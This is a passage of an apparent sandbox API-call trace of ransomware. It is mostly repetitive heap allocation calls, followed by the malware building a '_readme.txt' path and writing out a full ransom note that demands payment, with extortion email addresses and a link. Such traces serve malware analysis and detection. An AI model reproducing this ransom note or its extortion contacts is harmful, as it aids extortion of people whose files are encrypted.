hHeap=0x5010000) returned 1 [0111.560] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.560] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.560] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.560] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.560] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.560] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.560] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.560] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.560] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.560] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.560] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.560] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.560] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.560] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.560] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.560] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.560] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.560] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.560] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.560] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.560] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.560] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.560] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.560] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.560] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.560] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.561] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.561] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.561] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.561] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.561] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.561] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.561] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.561] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.561] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.561] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.561] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.561] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.561] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.561] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.561] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.561] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.561] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.561] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.561] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.561] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.561] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0111.561] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.561] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.561] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.561] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.561] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.561] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.561] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.561] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.561] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.561] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.561] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.562] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.562] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.562] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.562] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.562] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.562] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.562] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.562] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.562] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.562] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.562] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.562] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.562] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.562] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.562] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.562] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.562] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.562] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.562] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.562] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.562] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.562] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.562] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.562] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.562] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.562] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.562] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.562] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.562] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.562] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.562] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.562] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.562] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.563] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.563] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.563] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.563] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.563] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.563] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.563] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.563] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.563] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.563] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.563] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.563] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.563] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.563] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.563] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.563] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.563] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.563] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.563] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.563] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.563] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.563] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.563] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.563] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.563] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.563] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.563] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.563] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.563] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.563] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.563] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.563] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.564] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.564] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.564] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.564] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.564] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.564] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.564] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.564] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.564] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.564] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.564] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.564] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.564] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.564] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.564] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.564] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.564] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.564] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.564] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.564] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.564] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.564] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.564] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.564] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.564] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.564] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.564] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.564] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.564] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.564] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.564] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.564] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.565] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.565] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.565] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.565] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.565] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.565] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.565] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.565] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.565] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.565] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.565] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.565] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.565] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.565] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.565] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.565] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.565] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.565] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.565] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.565] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.565] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.565] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.565] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.565] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.565] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.565] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.565] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.565] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.565] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.565] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.566] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.566] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.566] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.566] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.566] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.566] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.566] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.566] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.566] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.566] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.566] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.566] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.566] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.566] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.566] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.566] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.566] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.566] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.566] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.566] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.566] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.566] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.566] PathFindFileNameW (pszPath="C:\\Boot\\pt-BR\\") returned="pt-BR\\" [0111.566] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.566] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.566] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.566] PathFindFileNameW (pszPath="") returned="" [0111.566] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.566] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.567] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.567] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x800) returned 0x7b13900 [0111.567] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.567] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x810) returned 0x7b14108 [0111.567] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.567] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.567] PathAppendW (in: pszPath="C:\\Boot\\pt-BR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 1 [0111.567] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac41a0 [0111.567] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.567] PathFileExistsW (pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 0 [0111.568] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x7d00) returned 0x7b152e0 [0111.569] lstrcpyW (in: lpString1=0x7b152e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or 